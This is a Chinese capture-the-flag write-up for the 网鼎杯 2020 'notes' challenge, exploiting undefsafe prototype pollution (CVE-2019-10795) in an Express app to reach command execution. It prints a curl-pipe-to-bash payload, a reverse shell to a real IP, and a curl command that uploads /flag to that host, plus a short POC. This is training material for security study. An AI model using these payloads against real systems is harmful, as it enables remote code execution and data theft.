[网鼎杯 2020 青龙组]notes

原型链污染的题https://snyk.io/vuln/SNYK-JS-UNDEFSAFE-548940

undefsafe在2.03版本下会产生漏洞

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
var express = require('express');
var path = require('path');
const undefsafe = require('undefsafe');
const { exec } = require('child_process');


var app = express();
class Notes {
constructor() {
this.owner = "whoknows";
this.num = 0;
this.note_list = {};
}

write_note(author, raw_note) {
this.note_list[(this.num++).toString()] = {"author": author,"raw_note":raw_note};
}

get_note(id) {
var r = {}
undefsafe(r, id, undefsafe(this.note_list, id));
return r;
}

edit_note(id, author, raw) {
undefsafe(this.note_list, id + '.author', author);
undefsafe(this.note_list, id + '.raw_note', raw);
}

get_all_notes() {
return this.note_list;
}

remove_note(id) {
delete this.note_list[id];
}
}

var notes = new Notes();
notes.write_note("nobody", "this is nobody's first note");


app.set('views', path.join(__dirname, 'views'));
app.set('view engine', 'pug');

app.use(express.json());
app.use(express.urlencoded({ extended: false }));
app.use(express.static(path.join(__dirname, 'public')));


app.get('/', function(req, res, next) {
res.render('index', { title: 'Notebook' });
});

app.route('/add_note')
.get(function(req, res) {
res.render('mess', {message: 'please use POST to add a note'});
})
.post(function(req, res) {
let author = req.body.author;
let raw = req.body.raw;
if (author && raw) {
notes.write_note(author, raw);
res.render('mess', {message: "add note sucess"});
} else {
res.render('mess', {message: "did not add note"});
}
})

app.route('/edit_note')
.get(function(req, res) {
res.render('mess', {message: "please use POST to edit a note"});
})
.post(function(req, res) {
let id = req.body.id;
let author = req.body.author;
let enote = req.body.raw;
if (id && author && enote) {
notes.edit_note(id, author, enote);
res.render('mess', {message: "edit note sucess"});
} else {
res.render('mess', {message: "edit note failed"});
}
})

app.route('/delete_note')
.get(function(req, res) {
res.render('mess', {message: "please use POST to delete a note"});
})
.post(function(req, res) {
let id = req.body.id;
if (id) {
notes.remove_note(id);
res.render('mess', {message: "delete done"});
} else {
res.render('mess', {message: "delete failed"});
}
})

app.route('/notes')
.get(function(req, res) {
let q = req.query.q;
let a_note;
if (typeof(q) === "undefined") {
a_note = notes.get_all_notes();
} else {
a_note = notes.get_note(q);
}
res.render('note', {list: a_note});
})

app.route('/status')
.get(function(req, res) {
let commands = {
"script-1": "uptime",
"script-2": "free -m"
};
for (let index in commands) {
exec(commands[index], {shell:'/bin/bash'}, (err, stdout, stderr) => {
if (err) {
return;
}
console.log(`stdout: ${stdout}`);
});
}
res.send('OK');
res.end();
})


app.use(function(req, res, next) {
res.status(404).send('Sorry cant find that!');
});


app.use(function(err, req, res, next) {
console.error(err.stack);
res.status(500).send('Something broke!');
});


const port = 8080;
app.listen(port, () => console.log(`Example app listening at http://localhost:${port}`))

漏洞点在/status路由下,exec能够进行任意代码执行,我们只需要污染command字典,通过command字典来执行我们的命令

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
app.route('/status')
.get(function(req, res) {
let commands = {
"script-1": "uptime",
"script-2": "free -m"
};
for (let index in commands) {
exec(commands[index], {shell:'/bin/bash'}, (err, stdout, stderr) => {
if (err) {
return;
}
console.log(`stdout: ${stdout}`);
});
}
res.send('OK');
res.end();
})

我们发现在/edit_note下可以传递三个参数,id,author和enote

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17

app.route('/edit_note')
.get(function(req, res) {
res.render('mess', {message: "please use POST to edit a note"});
})
.post(function(req, res) {
let id = req.body.id;
let author = req.body.author;
let enote = req.body.raw;
if (id && author && enote) {
notes.edit_note(id, author, enote);
res.render('mess', {message: "edit note sucess"});
} else {
res.render('mess', {message: "edit note failed"});
}
})

传入后会直接写入当前的note_list

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
class Notes {
constructor() {
this.owner = "whoknows";
this.num = 0;
this.note_list = {};
}

write_note(author, raw_note) {
this.note_list[(this.num++).toString()] = {"author": author,"raw_note":raw_note};
}

get_note(id) {
var r = {}
undefsafe(r, id, undefsafe(this.note_list, id));
return r;
}

edit_note(id, author, raw) {
undefsafe(this.note_list, id + '.author', author);
undefsafe(this.note_list, id + '.raw_note', raw);
}

接受用户传参并使用,可以利用这点命令执行
playload:`

1
id=__proto__&author=curl 靶机名/1.txt|bash&raw=123

image-20241021195603126

我们在虚拟机上写一个shell文件并监听,在访问status时就会反弹shell

1
bash -i >& /dev/tcp/60.204.158.87/2333 0>&1

在edit_note下传入参数,再访问status

成功连接上

image-20241021204059543

我们再在edit_note里写入访问flag的命令

1
id=__proto__.bb&author=curl -F "FLAG=@/flag" 60.204.158.87:2333&raw=a

我们访问status,得到flag

image-20241021204331010

undefsafe作用

1
2
3
4
5
6
var object = {
a: {b: [1,2,3]}
};
var res = undefsafe(object, 'a.b.0', 10);
console.log(object); // { a: { b: [10, 2, 3] } }
//这里可以看见1被替换成了10

CVE-2019-10795 原型链污染(Prototype Pollution)

在版本小于2.0.3的undefsafe函数有漏洞,可以污染所有对象的原型链,给对象添加属性。

POC如下,污染原型链后,空对象多了个ddd属性,且{}.ddd=JHU

1
2
3
4
5
6
var a = require("undefsafe");
var b = {};
var c = {};
var payload = "__proto__.ddd";
a(b,payload,"JHU");
console.log(c.ddd);

bash -i >& /dev/tcp/IP/2333 0>&1

这条命令是在 Bash 中用于创建反向 Shell 的一种方法。它的作用是:

  • bash -i 启动一个交互式 Bash shell。
  • >& /dev/tcp/IP/2333 将标准输出和标准错误重定向到指定 IP 地址(IP)的 9999 端口。这里的 /dev/tcp/` 是 Bash 特有的功能,允许通过 TCP 连接到指定的主机和端口。
  • 0>&1 将标准输入重定向到标准输出,这样从远程主机接收到的数据可以被 Bash 处理。

换句话说,当执行这个命令时,目标主机会连接到指定的 IP 地址和端口,并通过该连接进行命令交互。这种方法通常用于安全测试和渗透测试,但在没有授权的情况下使用是非法的。请务必确保你有权限进行这样的操作。